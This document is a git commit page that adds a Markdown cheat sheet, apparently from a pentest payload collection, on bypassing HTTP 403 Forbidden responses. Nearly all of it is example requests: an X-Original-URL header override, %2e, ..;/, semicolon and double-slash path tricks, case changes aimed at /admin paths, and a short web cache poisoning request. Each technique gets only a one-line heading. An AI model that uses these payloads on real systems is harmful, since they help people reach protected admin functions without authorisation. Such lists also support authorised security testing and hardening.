Update Bypass 403.md
This commit is contained in:
parent
f18326c1fa
commit
689daa4bfe
66
Bypass 403.md
Normal file
66
Bypass 403.md
Normal file
@ -0,0 +1,66 @@
|
||||
# Bypass 403 (Forbidden)
|
||||
### Using `X-Original-URL` header
|
||||
```bash
|
||||
# Normal Request (403)
|
||||
GET /admin HTTP/1.1
|
||||
Host: target.com
|
||||
|
||||
# Try this to bypass (200)
|
||||
GET /anything HTTP/1.1
|
||||
Host: target.com
|
||||
X-Original-URL: /admin
|
||||
```
|
||||
|
||||
### Appending `%2e` after the first slash
|
||||
```bash
|
||||
# Normal Request (403)
|
||||
http://target.com/admin
|
||||
|
||||
# Try this to bypass (200)
|
||||
http://target.com/%2e/admin
|
||||
```
|
||||
### Try add dot `.` slash `/` and semicolon `;` in the URL
|
||||
```bash
|
||||
# Normal Request (403)
|
||||
http://target.com/admin
|
||||
|
||||
# Try this to bypass (200)
|
||||
http://target.com/secret/.
|
||||
http://target.com//secret//
|
||||
http://target.com/./secret/..
|
||||
http://target.com/;/secret
|
||||
http://target.com/.;/secret
|
||||
http://target.com//;//secret
|
||||
```
|
||||
### Add `..;/` after the directory name
|
||||
```bash
|
||||
# Normal Request (403)
|
||||
http://target.com/admin
|
||||
|
||||
# Try this to bypass (200)
|
||||
http://target.com/admin..;/
|
||||
```
|
||||
### Try to uppercase the alphabet in the url
|
||||
```bash
|
||||
# Normal Request (403)
|
||||
http://target.com/admin
|
||||
|
||||
# Try this to bypass (200)
|
||||
http://target.com/aDmIN
|
||||
```
|
||||
|
||||
## Via Web Cache Poisoning
|
||||
```bash
|
||||
GET /anything HTTP/1.1
|
||||
Host: victim.com
|
||||
X-Original-URL: /admin
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user